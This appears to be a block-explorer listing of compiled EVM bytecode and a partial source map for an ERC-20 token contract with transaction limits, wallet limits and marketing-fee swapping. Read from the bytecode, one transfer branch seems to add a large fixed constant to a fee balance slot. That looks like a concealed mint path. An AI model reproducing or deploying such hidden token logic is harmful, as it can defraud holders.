16171562000aaa575081810a620006ce565b62000ab68383620009db565b805f190482111562000acc5762000acc620009c7565b029392505050565b5f620006cb60ff84168362000a23565b8082028115828204841417620006ce57620006ce620009c7565b5f6020828403121562000b0f575f80fd5b81516001600160a01b0381168114620006cb575f80fd5b5f8262000b4157634e487b7160e01b5f52601260045260245ffd5b500490565b80820180821115620006ce57620006ce620009c7565b5f602080835283518060208501525f5b8181101562000b8a5785810183015185820160400152820162000b6c565b505f604082860101526040601f19601f8301168501019250505092915050565b60805160a051611ae462000bda5f395f81816102b3015261093201525f818161039e015261096c0152611ae45ff3fe60806040526004361061026d575f3560e01c8063852614851161014a578063c816841b116100be578063dd62ed3e11610078578063dd62ed3e14610754578063f0cd1dac14610798578063f2fde38b146107ad578063f680f799146107cc578063f872858a146107e1578063f8f63290146107fa575f80fd5b8063c816841b146106a8578063c8607952146106c7578063c867d60b146106dc578063d2d7ad831461070a578063da00097d1461071f578063dc44b6a01461073f575f80fd5b806395d89b411161010f57806395d89b411461060d57806398e944c814610621578063a457c2d714610640578063a76a83921461065f578063a9059cbb14610674578063c5d2418914610693575f80fd5b8063852614851461057157806388790a681461058f5780638b42507f146105a45780638b97a773146105d25780638da5cb5b146105f1575f80fd5b80633ecad271116101e1578063715018a6116101a6578063715018a6146104d957806375f0a874146104ef5780637b4e3b79146105135780637d1db4a514610532578063807c2d9c1461054757806382eefb431461055c575f80fd5b80633ecad271146104145780634a74bb02146104425780635194f9bf146104625780635342acb41461047757806370a08231146104a5575f80fd5b806323555d571161023257806323555d571461035957806323b872dd1461036e57806327c8f8351461038d5780632b112e49146103c0578063313ce567146103d457806339509351146103f5575f80fd5b806306fdde03146102785780630930907b146102a2578063095ea7b3146102ed5780631694505e1461031c57806318160ddd1461033b575f80fd5b3661027457005b5f80fd5b348015610283575f80fd5b5061028c610819565b60405161029991906117b8565b60405180910390f35b3480156102ad575f80fd5b506102d57f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610299565b3480156102f8575f80fd5b5061030c61030736600461181b565b6108a9565b6040519015158152602001610299565b348015610327575f80fd5b506015546102d5906001600160a01b031681565b348015610346575f80fd5b506011545b604051908152602001610299565b348015610364575f80fd5b5061034b601f5481565b348015610379575f80fd5b5061030c610388366004611845565b6108bf565b348015610398575f80fd5b506102d57f000000000000000000000000000000000000000000000000000000000000000081565b3480156103cb575f80fd5b5061034b610928565b3480156103df575f80fd5b5060035460405160ff9091168152602001610299565b348015610400575f80fd5b5061030c61040f36600461181b565b6109b9565b34801561041f575f80fd5b5061030c61042e366004611883565b600e6020525f908152604090205460ff1681565b34801561044d575f80fd5b5060165461030c90600160a81b900460ff1681565b34801561046d575f80fd5b5061034b601c5481565b348015610482575f80fd5b5061030c610491366004611883565b600d6020525f908152604090205460ff1681565b3480156104b0575f80fd5b5061034b6104bf366004611883565b6001600160a01b03165f9081526006602052604090205490565b3480156104e4575f80fd5b506104ed6109ee565b005b3480156104fa575f80fd5b506003546102d59061010090046001600160a01b031681565b34801561051e575f80fd5b506102d561052d36600461189e565b610a9a565b34801561053d575f80fd5b5061034b60135481565b348015610552575f80fd5b5061034b60145481565b348015610567575f80fd5b5061034b60185481565b34801561057c575f80fd5b5060195461030c90610100900460ff1681565b34801561059a575f80fd5b5061034b601a5481565b3480156105af575f80fd5b5061030c6105be366004611883565b60106020525f908152604090205460ff1681565b3480156105dd575f80fd5b5061034b6105ec36600461189e565b610ab9565b3480156105fc575f80fd5b505f546001600160a01b03166102d5565b348015610618575f80fd5b5061028c610acf565b34801561062c575f80fd5b506005546102d5906001600160a01b031681565b34801561064b575f80fd5b5061030c61065a36600461181b565b610ade565b34801561066a575f80fd5b5061034b60205481565b34801561067f575f80fd5b5061030c61068e36600461181b565b610b2b565b34801561069e575f80fd5b5061034b601e5481565b3480156106b3575f80fd5b506016546102d5906001600160a01b031681565b3480156106d2575f80fd5b5061034b601b5481565b3480156106e7575f80fd5b5061030c6106f6366004611883565b600f6020525f908152604090205460ff1681565b348015610715575f80fd5b5061034b60125481565b34801561072a575f80fd5b5060165461030c90600160b01b900460ff1681565b34801561074a575f80fd5b5061034b601d5481565b34801561075f575f80fd5b5061034b61076e3660046118b5565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b3480156107a3575f80fd5b5061034b60175481565b3480156107b8575f80fd5b506104ed6107c7366004611883565b610b37565b3480156107d7575f80fd5b5061034b60085481565b3480156107ec575f80fd5b5060195461030c9060ff1681565b348015610805575f80fd5b506004546102d5906001600160a01b031681565b606060018054610828906118ec565b80601f0160208091040260200160405190810160405280929190818152602001828054610854906118ec565b801561089f5780601f106108765761010080835404028352916020019161089f565b820191905f5260205f20905b81548152906001019060200180831161088257829003601f168201915b5050505050905090565b5f6108b5338484610c4e565b5060015b92915050565b5f6108cb848484610d71565b5061091d843361091885604051806060016040528060288152602001611a62602891396001600160a01b038a165f90815260076020908152604080832033845290915290205491906112f3565b610c4e565b5060015b9392505050565b6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000165f908152600660205260408120546109b4906109ae6109a57f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03165f9081526006602052604090205490565b6011549061132b565b9061132b565b905090565b335f8181526007602090815260408083206001600160a01b038716845290915281205490916108b5918590610918908661136c565b5f546001600160a01b03163314610a4c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b03191661dead179055565b600b8160028110610aa9575f80fd5b01546001600160a01b0316905081565b60098160028110610ac8575f80fd5b0154905081565b606060028054610828906118ec565b5f6108b5338461091885604051806060016040528060258152602001611a8a60259139335f9081526007602090815260408083206001600160a01b038d16845290915290205491906112f3565b5f61091d338484610d71565b5f546001600160a01b03163314610b905760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a43565b6001600160a01b038116610bf55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a43565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610cb05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a43565b6001600160a01b038216610d115760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a43565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b038416610dd65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a43565b6001600160a01b038316610e385760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a43565b601654600160a01b900460ff1615610e5c57610e558484846113ca565b9050610921565b6001600160a01b0384165f9081526010602052604090205460ff16158015610e9c57506001600160a01b0383165f9081526010602052604090205460ff16155b15610f0457601354821115610f045760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610a43565b305f9081526006602052604090205460125481108015908190610f315750601654600160a01b900460ff16155b8015610f5557506001600160a01b0386165f908152600e602052604090205460ff16155b8015610f6a5750601654600160a81b900460ff165b15610f9057601654600160b01b900460ff1615610f875760125491505b610f90826114ad565b60195460ff168015610fba57506001600160a01b0385165f908152600f602052604090205460ff16155b1561106057601454611004610fe66103e8610fe06018548961151e90919063ffffffff16565b9061159c565b6001600160a01b0388165f908152600660205260409020549061136c565b11156110605760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b6064820152608401610a43565b61107b6103e8610fe06018548761151e90919063ffffffff16565b600955601854611094906103e890610fe090879061151e565b61109e908561194c565b600a55600b8054306001600160a01b031991821617909155600c80549091166001600160a01b0387161790555f805b60028110156110ff57600981600281106110e9576110e9611924565b01546110f5908361195f565b91506001016110cd565b506001600160a01b0387165f9081526010602052604090205460ff16158061113f57506001600160a01b0386165f9081526010602052604090205460ff16155b8061116157506001600160a01b0386165f908152600e602052604090205460ff165b8061118357506001600160a01b0387165f908152600e602052604090205460ff165b156111a557600160205f82825461119a919061195f565b909155506111ad9050565b6111ad6115dd565b6001600160a01b0387165f908152600660205260409020546111cf908261132b565b6001600160a01b0388165f908152600660205260408120919091555b60028110156112e6576112436009826002811061120a5761120a611924565b015460065f600b856002811061122257611222611924565b01546001600160a01b0316815260208101919091526040015f20549061136c565b60065f600b846002811061125957611259611924565b01546001600160a01b0316815260208101919091526040015f2055600b816002811061128757611287611924565b01546001600160a01b039081169089167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600984600281106112cb576112cb611924565b015460405190815260200160405180910390a36001016111eb565b5060019350505050610921565b5f81848411156113165760405162461bcd60e51b8152600401610a4391906117b8565b505f611322848661194c565b95945050505050565b5f61092183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112f3565b5f80611378838561195f565b9050838110156109215760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a43565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f90815260069091529182205461141a9184906112f3565b6001600160a01b038086165f908152600660205260408082209390935590851681522054611448908361136c565b6001600160a01b038085165f8181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061149b9086815260200190565b60405180910390a35060019392505050565b6016805460ff60a01b1916600160a01b1790556114c981611603565b47801561150d576003546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f1935050505015801561150b573d5f803e3d5ffd5b505b50506016805460ff60a01b19169055565b5f825f0361152d57505f6108b9565b5f6115388385611972565b9050826115458583611989565b146109215760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a43565b5f61092183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061178c565b6b09a6c9da75f394b7b719a72360095f015f8282546115fc919061195f565b9091555050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061163657611636611924565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561168d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116b191906119a8565b816001815181106116c4576116c4611924565b6001600160a01b0392831660209182029290920101526015546116ea9130911684610c4e565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906117229085905f90869030904290600401611a06565b5f604051808303815f87803b158015611739575f80fd5b505af115801561174b573d5f803e3d5ffd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611780929190611a41565b60405180910390a15050565b5f81836117ac5760405162461bcd60e51b8152600401610a4391906117b8565b505f6113228486611989565b5f602080835283518060208501525f5b818110156117e4578581018301518582016040015282016117c8565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611818575f80fd5b50565b5f806040838503121561182c575f80fd5b823561183781611804565b946020939093013593505050565b5f805f60608486031215611857575f80fd5b833561186281611804565b9250602084013561187281611804565b929592945050506040919091013590565b5f60208284031215611893575f80fd5b813561092181611804565b5f602082840312156118ae575f80fd5b5035919050565b5f80604083850312156118c6575f80fd5b82356118d181611804565b915060208301356118e181611804565b809150509250929050565b600181811c9082168061190057607f821691505b60208210810361191e57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b818103818111156108b9576108b9611938565b808201808211156108b9576108b9611938565b80820281158282048414176108b9576108b9611938565b5f826119a357634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156119b8575f80fd5b815161092181611804565b5f815180845260208085019450602084015f5b838110156119fb5781516001600160a01b0316875295820195908201906001016119d6565b509495945050505050565b85815284602082015260a060408201525f611a2460a08301866119c3565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201525f611a5960408301846119c3565b94935050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202baa2a28e6b4146098edfceb6f3f063441f337388d7d971128148103187965a464736f6c63430008160033

Deployed Bytecode

0x60806040526004361061026d575f3560e01c8063852614851161014a578063c816841b116100be578063dd62ed3e11610078578063dd62ed3e14610754578063f0cd1dac14610798578063f2fde38b146107ad578063f680f799146107cc578063f872858a146107e1578063f8f63290146107fa575f80fd5b8063c816841b146106a8578063c8607952146106c7578063c867d60b146106dc578063d2d7ad831461070a578063da00097d1461071f578063dc44b6a01461073f575f80fd5b806395d89b411161010f57806395d89b411461060d57806398e944c814610621578063a457c2d714610640578063a76a83921461065f578063a9059cbb14610674578063c5d2418914610693575f80fd5b8063852614851461057157806388790a681461058f5780638b42507f146105a45780638b97a773146105d25780638da5cb5b146105f1575f80fd5b80633ecad271116101e1578063715018a6116101a6578063715018a6146104d957806375f0a874146104ef5780637b4e3b79146105135780637d1db4a514610532578063807c2d9c1461054757806382eefb431461055c575f80fd5b80633ecad271146104145780634a74bb02146104425780635194f9bf146104625780635342acb41461047757806370a08231146104a5575f80fd5b806323555d571161023257806323555d571461035957806323b872dd1461036e57806327c8f8351461038d5780632b112e49146103c0578063313ce567146103d457806339509351146103f5575f80fd5b806306fdde03146102785780630930907b146102a2578063095ea7b3146102ed5780631694505e1461031c57806318160ddd1461033b575f80fd5b3661027457005b5f80fd5b348015610283575f80fd5b5061028c610819565b60405161029991906117b8565b60405180910390f35b3480156102ad575f80fd5b506102d57f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610299565b3480156102f8575f80fd5b5061030c61030736600461181b565b6108a9565b6040519015158152602001610299565b348015610327575f80fd5b506015546102d5906001600160a01b031681565b348015610346575f80fd5b506011545b604051908152602001610299565b348015610364575f80fd5b5061034b601f5481565b348015610379575f80fd5b5061030c610388366004611845565b6108bf565b348015610398575f80fd5b506102d57f000000000000000000000000000000000000000000000000000000000000dead81565b3480156103cb575f80fd5b5061034b610928565b3480156103df575f80fd5b5060035460405160ff9091168152602001610299565b348015610400575f80fd5b5061030c61040f36600461181b565b6109b9565b34801561041f575f80fd5b5061030c61042e366004611883565b600e6020525f908152604090205460ff1681565b34801561044d575f80fd5b5060165461030c90600160a81b900460ff1681565b34801561046d575f80fd5b5061034b601c5481565b348015610482575f80fd5b5061030c610491366004611883565b600d6020525f908152604090205460ff1681565b3480156104b0575f80fd5b5061034b6104bf366004611883565b6001600160a01b03165f9081526006602052604090205490565b3480156104e4575f80fd5b506104ed6109ee565b005b3480156104fa575f80fd5b506003546102d59061010090046001600160a01b031681565b34801561051e575f80fd5b506102d561052d36600461189e565b610a9a565b34801561053d575f80fd5b5061034b60135481565b348015610552575f80fd5b5061034b60145481565b348015610567575f80fd5b5061034b60185481565b34801561057c575f80fd5b5060195461030c90610100900460ff1681565b34801561059a575f80fd5b5061034b601a5481565b3480156105af575f80fd5b5061030c6105be366004611883565b60106020525f908152604090205460ff1681565b3480156105dd575f80fd5b5061034b6105ec36600461189e565b610ab9565b3480156105fc575f80fd5b505f546001600160a01b03166102d5565b348015610618575f80fd5b5061028c610acf565b34801561062c575f80fd5b506005546102d5906001600160a01b031681565b34801561064b575f80fd5b5061030c61065a36600461181b565b610ade565b34801561066a575f80fd5b5061034b60205481565b34801561067f575f80fd5b5061030c61068e36600461181b565b610b2b565b34801561069e575f80fd5b5061034b601e5481565b3480156106b3575f80fd5b506016546102d5906001600160a01b031681565b3480156106d2575f80fd5b5061034b601b5481565b3480156106e7575f80fd5b5061030c6106f6366004611883565b600f6020525f908152604090205460ff1681565b348015610715575f80fd5b5061034b60125481565b34801561072a575f80fd5b5060165461030c90600160b01b900460ff1681565b34801561074a575f80fd5b5061034b601d5481565b34801561075f575f80fd5b5061034b61076e3660046118b5565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b3480156107a3575f80fd5b5061034b60175481565b3480156107b8575f80fd5b506104ed6107c7366004611883565b610b37565b3480156107d7575f80fd5b5061034b60085481565b3480156107ec575f80fd5b5060195461030c9060ff1681565b348015610805575f80fd5b506004546102d5906001600160a01b031681565b606060018054610828906118ec565b80601f0160208091040260200160405190810160405280929190818152602001828054610854906118ec565b801561089f5780601f106108765761010080835404028352916020019161089f565b820191905f5260205f20905b81548152906001019060200180831161088257829003601f168201915b5050505050905090565b5f6108b5338484610c4e565b5060015b92915050565b5f6108cb848484610d71565b5061091d843361091885604051806060016040528060288152602001611a62602891396001600160a01b038a165f90815260076020908152604080832033845290915290205491906112f3565b610c4e565b5060015b9392505050565b6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000165f908152600660205260408120546109b4906109ae6109a57f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b03165f9081526006602052604090205490565b6011549061132b565b9061132b565b905090565b335f8181526007602090815260408083206001600160a01b038716845290915281205490916108b5918590610918908661136c565b5f546001600160a01b03163314610a4c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b03191661dead179055565b600b8160028110610aa9575f80fd5b01546001600160a01b0316905081565b60098160028110610ac8575f80fd5b0154905081565b606060028054610828906118ec565b5f6108b5338461091885604051806060016040528060258152602001611a8a60259139335f9081526007602090815260408083206001600160a01b038d16845290915290205491906112f3565b5f61091d338484610d71565b5f546001600160a01b03163314610b905760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a43565b6001600160a01b038116610bf55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a43565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610cb05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a43565b6001600160a01b038216610d115760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a43565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b038416610dd65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a43565b6001600160a01b038316610e385760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a43565b601654600160a01b900460ff1615610e5c57610e558484846113ca565b9050610921565b6001600160a01b0384165f9081526010602052604090205460ff16158015610e9c57506001600160a01b0383165f9081526010602052604090205460ff16155b15610f0457601354821115610f045760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610a43565b305f9081526006602052604090205460125481108015908190610f315750601654600160a01b900460ff16155b8015610f5557506001600160a01b0386165f908152600e602052604090205460ff16155b8015610f6a5750601654600160a81b900460ff165b15610f9057601654600160b01b900460ff1615610f875760125491505b610f90826114ad565b60195460ff168015610fba57506001600160a01b0385165f908152600f602052604090205460ff16155b1561106057601454611004610fe66103e8610fe06018548961151e90919063ffffffff16565b9061159c565b6001600160a01b0388165f908152600660205260409020549061136c565b11156110605760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b6064820152608401610a43565b61107b6103e8610fe06018548761151e90919063ffffffff16565b600955601854611094906103e890610fe090879061151e565b61109e908561194c565b600a55600b8054306001600160a01b031991821617909155600c80549091166001600160a01b0387161790555f805b60028110156110ff57600981600281106110e9576110e9611924565b01546110f5908361195f565b91506001016110cd565b506001600160a01b0387165f9081526010602052604090205460ff16158061113f57506001600160a01b0386165f9081526010602052604090205460ff16155b8061116157506001600160a01b0386165f908152600e602052604090205460ff165b8061118357506001600160a01b0387165f908152600e602052604090205460ff165b156111a557600160205f82825461119a919061195f565b909155506111ad9050565b6111ad6115dd565b6001600160a01b0387165f908152600660205260409020546111cf908261132b565b6001600160a01b0388165f908152600660205260408120919091555b60028110156112e6576112436009826002811061120a5761120a611924565b015460065f600b856002811061122257611222611924565b01546001600160a01b0316815260208101919091526040015f20549061136c565b60065f600b846002811061125957611259611924565b01546001600160a01b0316815260208101919091526040015f2055600b816002811061128757611287611924565b01546001600160a01b039081169089167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600984600281106112cb576112cb611924565b015460405190815260200160405180910390a36001016111eb565b5060019350505050610921565b5f81848411156113165760405162461bcd60e51b8152600401610a4391906117b8565b505f611322848661194c565b95945050505050565b5f61092183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112f3565b5f80611378838561195f565b9050838110156109215760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a43565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f90815260069091529182205461141a9184906112f3565b6001600160a01b038086165f908152600660205260408082209390935590851681522054611448908361136c565b6001600160a01b038085165f8181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061149b9086815260200190565b60405180910390a35060019392505050565b6016805460ff60a01b1916600160a01b1790556114c981611603565b47801561150d576003546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f1935050505015801561150b573d5f803e3d5ffd5b505b50506016805460ff60a01b19169055565b5f825f0361152d57505f6108b9565b5f6115388385611972565b9050826115458583611989565b146109215760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a43565b5f61092183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061178c565b6b09a6c9da75f394b7b719a72360095f015f8282546115fc919061195f565b9091555050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061163657611636611924565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561168d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116b191906119a8565b816001815181106116c4576116c4611924565b6001600160a01b0392831660209182029290920101526015546116ea9130911684610c4e565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906117229085905f90869030904290600401611a06565b5f604051808303815f87803b158015611739575f80fd5b505af115801561174b573d5f803e3d5ffd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611780929190611a41565b60405180910390a15050565b5f81836117ac5760405162461bcd60e51b8152600401610a4391906117b8565b505f6113228486611989565b5f602080835283518060208501525f5b818110156117e4578581018301518582016040015282016117c8565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611818575f80fd5b50565b5f806040838503121561182c575f80fd5b823561183781611804565b946020939093013593505050565b5f805f60608486031215611857575f80fd5b833561186281611804565b9250602084013561187281611804565b929592945050506040919091013590565b5f60208284031215611893575f80fd5b813561092181611804565b5f602082840312156118ae575f80fd5b5035919050565b5f80604083850312156118c6575f80fd5b82356118d181611804565b915060208301356118e181611804565b809150509250929050565b600181811c9082168061190057607f821691505b60208210810361191e57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b818103818111156108b9576108b9611938565b808201808211156108b9576108b9611938565b80820281158282048414176108b9576108b9611938565b5f826119a357634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156119b8575f80fd5b815161092181611804565b5f815180845260208085019450602084015f5b838110156119fb5781516001600160a01b0316875295820195908201906001016119d6565b509495945050505050565b85815284602082015260a060408201525f611a2460a08301866119c3565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201525f611a5960408301846119c3565b94935050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202baa2a28e6b4146098edfceb6f3f063441f337388d7d971128148103187965a464736f6c63430008160033

Deployed Bytecode Sourcemap

11533:10598:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15788:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12080:81;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;731:32:1;;;713:51;;701:2;686:18;12080:81:0;567:203:1;16954:161:0;;;;;;;;;;-1:-1:-1;16954:161:0;;;;;:::i;:::-;;:::i;:::-;;;1396:14:1;;1389:22;1371:41;;1359:2;1344:18;16954:161:0;1231:187:1;13057:41:0;;;;;;;;;;-1:-1:-1;13057:41:0;;;;-1:-1:-1;;;;;13057:41:0;;;16065:100;;;;;;;;;;-1:-1:-1;16145:12:0;;16065:100;;;1804:25:1;;;1792:2;1777:18;16065:100:0;1658:177:1;13663:35:0;;;;;;;;;;;;;;;;18049:313;;;;;;;;;;-1:-1:-1;18049:313:0;;;;;:::i;:::-;;:::i;11992:81::-;;;;;;;;;;;;;;;17472:156;;;;;;;;;;;;;:::i;15974:83::-;;;;;;;;;;-1:-1:-1;16040:9:0;;15974:83;;16040:9;;;;2443:36:1;;2431:2;2416:18;15974:83:0;2301:184:1;16451:218:0;;;;;;;;;;-1:-1:-1;16451:218:0;;;;;:::i;:::-;;:::i;12586:45::-;;;;;;;;;;-1:-1:-1;12586:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13174:40;;;;;;;;;;-1:-1:-1;13174:40:0;;;;-1:-1:-1;;;13174:40:0;;;;;;13532:36;;;;;;;;;;;;;;;;12529:50;;;;;;;;;;-1:-1:-1;12529:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;16173:119;;;;;;;;;;-1:-1:-1;16173:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;16266:18:0;16239:7;16266:18;;;:9;:18;;;;;;;16173:119;3208:230;;;;;;;;;;;;;:::i;:::-;;11749:92;;;;;;;;;;-1:-1:-1;11749:92:0;;;;;;;-1:-1:-1;;;;;11749:92:0;;;12392:122;;;;;;;;;;-1:-1:-1;12392:122:0;;;;;:::i;:::-;;:::i;12911:59::-;;;;;;;;;;;;;;;;12983:58;;;;;;;;;;;;;;;;13314:33;;;;;;;;;;;;;;;;13396:41;;;;;;;;;;-1:-1:-1;13396:41:0;;;;;;;;;;;13446:36;;;;;;;;;;;;;;;;12703:48;;;;;;;;;;-1:-1:-1;12703:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12329:56;;;;;;;;;;-1:-1:-1;12329:56:0;;;;;:::i;:::-;;:::i;2983:79::-;;;;;;;;;;-1:-1:-1;3021:7:0;3048:6;-1:-1:-1;;;;;3048:6:0;2983:79;;15879:87;;;;;;;;;;;;;:::i;11947:32::-;;;;;;;;;;-1:-1:-1;11947:32:0;;;;-1:-1:-1;;;;;11947:32:0;;;16677:269;;;;;;;;;;-1:-1:-1;16677:269:0;;;;;:::i;:::-;;:::i;13717:32::-;;;;;;;;;;;;;;;;17874:167;;;;;;;;;;-1:-1:-1;17874:167:0;;;;;:::i;:::-;;:::i;13621:35::-;;;;;;;;;;;;;;;;13105:26;;;;;;;;;;-1:-1:-1;13105:26:0;;;;-1:-1:-1;;;;;13105:26:0;;;13489:36;;;;;;;;;;;;;;;;12644:52;;;;;;;;;;-1:-1:-1;12644:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12823:70;;;;;;;;;;;;;;;;13221:45;;;;;;;;;;-1:-1:-1;13221:45:0;;;;-1:-1:-1;;;13221:45:0;;;;;;13579:35;;;;;;;;;;;;;;;;16300:143;;;;;;;;;;-1:-1:-1;16300:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;16408:18:0;;;16381:7;16408:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;16300:143;13275:32;;;;;;;;;;;;;;;;3446:244;;;;;;;;